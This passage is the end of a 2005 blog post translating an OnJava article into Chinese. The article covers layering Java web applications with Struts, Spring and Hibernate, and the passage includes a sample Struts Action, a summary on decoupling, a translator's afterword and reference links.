<TD>public ActionForward execute( <BR><BR>&nbsp; ActionMapping mapping, <BR><BR>&nbsp; ActionForm form, <BR><BR>&nbsp; javax.servlet.http.HttpServletRequest request, <BR><BR>&nbsp; javax.servlet.http.HttpServletResponse response) <BR><BR>&nbsp; throws java.lang.Exception { <BR><BR>&nbsp; <BR><BR>&nbsp; OrderForm oForm = (OrderForm) form; <BR><BR>&nbsp; <BR><BR>&nbsp; // Use the form to build an Order object that <BR><BR>&nbsp; // can be saved in the persistence layer. <BR><BR>&nbsp; // See the full source code in the sample app. <BR><BR>&nbsp; <BR><BR>&nbsp; // Obtain the wired business service object <BR><BR>&nbsp; // from the service locator configuration <BR><BR>&nbsp; // in BaseAction. <BR><BR>&nbsp; // Delegate the save to the service layer and <BR><BR>&nbsp; // further upstream to save the Order object. <BR><BR>&nbsp; getOrderService().saveNewOrder(order); <BR><BR>&nbsp; <BR><BR>&nbsp; oForm.setOrder(order); <BR><BR>&nbsp; <BR><BR>&nbsp; ActionMessages messages = new ActionMessages(); <BR><BR>&nbsp; messages.add( <BR><BR>&nbsp; &nbsp; &nbsp; ActionMessages.GLOBAL_MESSAGE, <BR><BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; new ActionMessage( <BR><BR>&nbsp; &nbsp; &nbsp; "message.order.saved.successfully")); <BR><BR>&nbsp; <BR><BR>&nbsp; saveMessages(request, messages); <BR><BR>&nbsp; <BR><BR>&nbsp; return mapping.findForward("success"); <BR><BR>} </TD></TR></TBODY></TABLE><BR><BR>总结 <BR><BR>这篇文章在技术和构架方面掩盖了很多低层的基础信息， 文章的主要的意图在于让你意识到如何给你应用程序分层。分层可以"解耦"你的代码——允许新的组件被添加进来，而且让你的代码易于维护。 这里用到的技术只是专注于把"解偶"做好。不管怎样，使用这样的构架可以让你用其他技术代替现在的层。例如，你可能不使用Hibernate实现持久化。既然你在DAO中面向接口的编程的，所以你完全可以用iBATIS来代替。或者，你也可能想用 Struts外的其他的技术或者框架替换现在的UI层（转换久层，实现层并不应该直接影响到你的业务逻辑和业务服务层）。用适当的框架搭建你的Web应用，其实也不是一件烦琐的工作，更主要的是它"解耦"了你程序中的各个层。 <BR><BR><BR><BR><BR><BR>后记： <BR><BR>看完这篇文章后，只是觉得很喜欢，于是就翻译了，当然同时也准备着挨大家扔来的鸡蛋：）。 <BR><BR>这篇文章里并没有太多的技术细节，和详细的步骤。如果你从未使用过这些框架而在运行实例程序遇上困难的话，可以到CSDN论坛Java Open Source版发贴，我一定会详细解答的（啊哦，这不算做广告吧？）， <BR><BR>文章是从一个构架的角度讲述了如何搭配现有的开源框架进行分层， 有太多的术语我都不知道怎么表达，而且可能有很多语句存在错误。如果影响了你的阅读，请你直接点原文地址，我同时也象你说声抱歉。 <BR><BR><BR><BR>作者简介：Mark Eagle 高级软件工程师，亚特兰大。 <BR>翻 译：Totodo,软件工程师 <BR><BR><BR><BR><BR><BR>参考： <BR><BR>Struts：http://jakarta.apache.org/struts/index.html <BR><BR>Spring: <A href="http://www.springframework.org/" target=_blank rel=nofollow><FONT color=#0000ff>http://www.springframework.org</FONT></A> <BR><BR>Hibernate: <A href="http://www.hibernate.org/" target=_blank rel=nofollow><FONT color=#0000ff>http://www.hibernate.org</FONT></A> <BR><BR><A href="http://www.hibernate.org.cn/" target=_blank rel=nofollow><FONT color=#0000ff>http://www.hibernate.org.cn</FONT></A> <BR><BR>关于控制反转IOC和依赖注射：http://www.martinfowler.com/articles/injection.html <BR><BR>原文: <BR><BR><A href="http://www.onjava.com/pub/a/onjava/2004/04/07/wiringwebapps.html?page=1" target=_blank rel=nofollow><FONT color=#0000ff>http://www.onjava.com/pub/a/onjava/2004/04/07/wiringwebapps.html?page=1</FONT></A> <BR><A href="http://www.onjava.com/pub/a/onjava/2004/04/07/wiringwebapps.html?page=2" target=_blank rel=nofollow><FONT color=#0000ff>http://www.onjava.com/pub/a/onjava/2004/04/07/wiringwebapps.html?page=2</FONT></A> <BR><A href="http://www.onjava.com/pub/a/onjava/2004/04/07/wiringwebapps.html?page=3" target=_blank rel=nofollow><FONT color=#0000ff>http://www.onjava.com/pub/a/onjava/2004/04/07/wiringwebapps.html?page=3</FONT></A> <BR><A href="http://www.onjava.com/pub/a/onjava/2004/04/07/wiringwebapps.html?page=4" target=_blank rel=nofollow><FONT color=#0000ff>http://www.onjava.com/pub/a/onjava/2004/04/07/wiringwebapps.html?page=4</FONT></A> <img src ="http://www.blogjava.net/frankboy/aggbug/25636.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/frankboy/" target="_blank">frankboy</a> 2005-12-27 23:15 <a href="http://www.blogjava.net/frankboy/archive/2005/12/27/25636.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>